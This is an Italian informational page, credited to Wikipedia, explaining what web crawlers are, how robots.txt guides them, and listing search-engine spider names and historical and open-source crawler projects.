Un crawler è un tipo di bot (programma o script che automatizza delle operazioni). I crawler solitamente acquisiscono una copia testuale di tutti i documenti visitati e le inseriscono in un indice.

Un uso estremamente comune dei crawler è nel Web. Sul Web, il crawler si basa su una lista di URL da visitare fornita dal motore di ricerca (il quale, inizialmente, si basa sugli indirizzi suggeriti dagli utenti o su una lista precompilata dai programmatori stessi). Durante l’analisi di un URL, identifica tutti gli hyperlink presenti nel documento e li aggiunge alla lista di URL da visitare. Il processo può essere concluso manualmente o dopo che un determinato numero di collegamenti è stato seguito.

Inoltre i crawler attivi su Internet hanno la facoltà di essere indirizzati da quanto indicato nel file “robots.txt” posto nella root del sito. All’interno di questo file, è possibile indicare quali pagine non dovrebbero essere analizzate. Il crawler ha la facoltà di seguire i consigli, ma non l’obbligo.

Ecco di seguito una tabella con i nomi degli spider dei principali motori di ricerca

Nome spider Motore di ricerca
googlebot Google
fast Fast – Alltheweb
slurp Inktomi – Yahoo!
scooter Altavista
mercator Altavista
Ask Jeeves Ask Jeeves
teoma_agent Teoma
ia_archiver Alexa – Internet Archive
googlebot Yahoo

Dati aggiornati al 21/02/2008

Esempi di Web crawlers

La seguente è una lista di architetture pubbliche di crawler di carattere generico:

  • RBSE (Eichmann, 1994) è stato il primo crawler pubblico. È basato su due programmi: il primo, “spider” mantiene la richiesta in un database relazionale, e il secondo “mite“, è un browser www ASCII che scarica le pagine dal web.
  • WebCrawler (Pinkerton, 1994) è stato usato per costruire il primo indice testuale di pubblicità di un ramo del web. Era basato su lib-WWW per scaricare le pagine, e un altro programma per analizzare e ordinare URL per esplorazione tramite metodo grafico breadth-first. Include anche un crawler in tempo reale che segue i collegamenti basati sulle similarità del testo-ancora con la query condizionale.
  • World Wide Web Worm (McBryan, 1994) era un crawler usato per costruire un semplice indice di titoli di documento e URL. L’indice poteva essere cercato usando il comando grep Unix.
  • Google Crawler (Brin and Page, 1998) è descritto in alcuni dettagli, ma il riferimento è solo su una precedente versione di quell’architettura, la quale è basata su C++ e Python. Il crawler fu integrato col processo di indicizzazione, perché la selezione del testo fu fatta per indicizzare completamente il testo e anche per l’estrazione degli URL. Un server URL invia liste di URL per essere prelevato da diversi processi di crawling. Durante il parsing, gli URL trovati sono inviati a un server URL che controlla se l’URL è stato visto precedentemente. Se no, l’URL è aggiunto all’interrogazione del server URL.
  • CobWeb (da Silva et al., 1999) usato come schedulatore centrale e serie di collettori distribuiti. I collettori parsificano le pagine web scaricate e inviano gli URL scoperti allo schedulatore, il quale assegna il turno ai collettori. Lo schedulatore rinforza la ricerca ordinata breadth-first con una politica senza ordine per evitare il sovraccarico dei server web. Il crawler è scritto in Perl.
  • Mercator (Heydon and Najork, 1999; Najork and Heydon, 2001) è un web crawler modulare distribuito e scritto in Java. La sua modularità sorge dall’uso di “moduli di protocollo” intercambiabili e “modelli di processo”. I moduli di protocollo sono correlati per acquisire le pagine web (es: HTTP), e i moduli di processo sono correlati per processare le pagine web. I moduli standard possono essere usati per indicizzare il testo delle pagine, o per raccogliere statistiche dal Web.
  • WebFountain (Edwards et al., 2001) è un crawler simile a Mercator ma scritto in C++. La sua particolarità sta nella “controller machine” che coordina una serie di “macchine-formiche”. Dopo un ripetitivo scarico di pagine, un fattore di cambio è calcolato per ogni pagina e un metodo di programmazione non lineare deve essere usato per risolvere il sistema di equazione per massimizzare l’aggiornamento. Gli autori raccomandano di usare questo ordine di crawling nelle prime parti, e poi scambiare l’ordine uniforme nel quale tutte le pagine sono state visitate con la stessa frequenza.
  • PolyBot [Shkapenyuk and Suel, 2002] è un crawler scritto in C++ e Python, composto da un manager, uno o più downloader e uno o più rilevatori DNS . Gli URL collezionati sono aggiunti su disco e processati più tardi per cercarli in modalità batch. La regolamentazione considera entrambi domini di terzi e secondi livelli (es di terzo: www.aaa.com, www2.aaa.com) perché i domini di terzo livello sono solitamente ospitati dallo stesso webserver
  • WebRACE (Zeinalipour-Yazti and Dikaiakos, 2002) è un modulo sviluppato in java di crawling e caching, e usato come parte di un sistema più generico chiamato eRACE. La maggior funzionalità che spicca in Webrace è che, mentre molticrawler iniziano a cercare con un set di semi URL, WebRACE riceve continuamente nuovi URL dal form.
  • Ubicrawler (Boldi et al., 2004) è un crawler scritto in Java. È composto da un numero di ‘agenti’ identici e la funzione di assegnamento è calcolata usando l’hashing dei nomi di host. Non c’è overlap, questo significa che nessuna pagina è indicizzata due volte, fino a quando un agente crawler non crasha; raggiunge alta scalabilità ed è tollerante ai fallimenti.
  • FAST Crawler (Risvik and Michelsen, 2002) è un crawler usato dai Fast Search & Transfer.
  • Labrador,un crawler privato che collabora con il progetto Open Source chiamato Terrier Search Engine.
  • Spinn3r,un crawler usato per costruire l’anima di Tailrank.com. Spinn3r è basato sul java e la maggior parte dell architettura é Open Source.
  • HotCrawler, è scritto in C e PhP.

Crawler di tipo open-source

  • DataparkSearch è un crawler e motore di ricerca rilasciato sotto la General Public License (GNU).
  • Wget è un crawler a linea di comando scritto in C e rilasciato sotto General Public License.. È tipicamente usato per siti mirror e FTP.
  • Heritrix è il crawler di maggior qualità di estrazione dagli archivi web, studiato per archiviare periodici screenshot di una larga porzione del web. È stato scritto in java.
  • ht://Dig include un crawler web nel suo motore di indicizzazione
  • HTTrack usa un web crawler per creare una replica di un sito web per la consultazione offline. È stato scritto in C e rilasciato sotto licenza GNU. Si può trovare presso il sito ufficiale.
  • JSpider è un web spider altamente personalizzabile rilasciato sotto licenza GPL *Larbin
  • Webtools4larbin
  • Methabot È un web crawler ottimizzato per la velocità e con linea di comando scritta in C e rilasciato sotto licenza ISC. Comprende un sistema di configurazione, un modulo di sistema e supporto per obiettivi di crawling attraverso il file system locale, HTTP o FTP.
  • Nutch è un crawler scritto in java sotto licenza Apache. Può essere usato assieme all’indice testuale creato con Lucene.
  • WebVac è un crawler usato dal Stanford WebBase Project.
  • WebSPHINX (Miller and Bharat, 1998) è composto da una libreria Java che implementa la query multipla delle pagine web e il parsing HTML, un’interfaccia utente grafica per impostare il/gli indirizzo/i di partenza per estrarre i dati scaricati e per implementare un motore di ricerca basilare di testo.
  • WIRE – Web Information Retrieval Environment (Baeza-Yates and Castillo, 2002) è un web crawler scritto in C++ e rilasciato sotto licenza GPL, inclusi diverse linee di condotta per catalogare le pagine web scaricate e un modulo per generare statistiche e rapporti sulle pagine scaricate, usato per la caratterizzazione web.
  • LWP::RobotUA (Langheinrich , 2004) è una classe Perl per implementare i comportamenti migliori dei bot we distribuita sotto licenza Perl5.
  • Web Crawler web crawler Open source per .NET scritto in C#).
  • Sherlock Holmes Sherlock Holmes raccoglie e indicizza dati testuali (file di testo, pagine web, ecc.), sia localmente che nella rete. Holmes è sponsorizzato e usato commercialmente dal portale web ceco Centrum. è usato inoltre dal sito Onet.pl.
  • YaCyé un motore di ricerca liberamente distribuito, costruito sui principi dei network di p2p (sotto licenza GPL).
  • Ruya Ruya è open source ad alte prestazioni basato sulla ricerca Breadth-first, crawler di livello base. È usato per gestire siti web inglesi e giapponesi nel miglior modo possibile . È rilasciata sotto licenza GPL e scritto interamente in linguaggio Python.
  • Universal Information Crawler web crawler di uso veloce. Salva e analizza i dati.
  • Agent Kernel Una struttura java per pianificare, trattare e stoccare i dati durante il crawling.
  • Spider News,informazioni per costruire uno spider in Perl.
  • Squzer, un web crawler open-source, espandibile, multifunzione scritto in Python.
  • Arachnode.NET, Web crawler open source promiscuo per scaricare, indicizzare e salvare contenuti Internet incluse e-mail, file, hyperlink, immagini e pagine web. Arachnode.net è scritto in C# usando SQL Server 2005 e è rilasciato sotto licenza GPL.

Fonte wikipedia

Categories: Informatica Tags: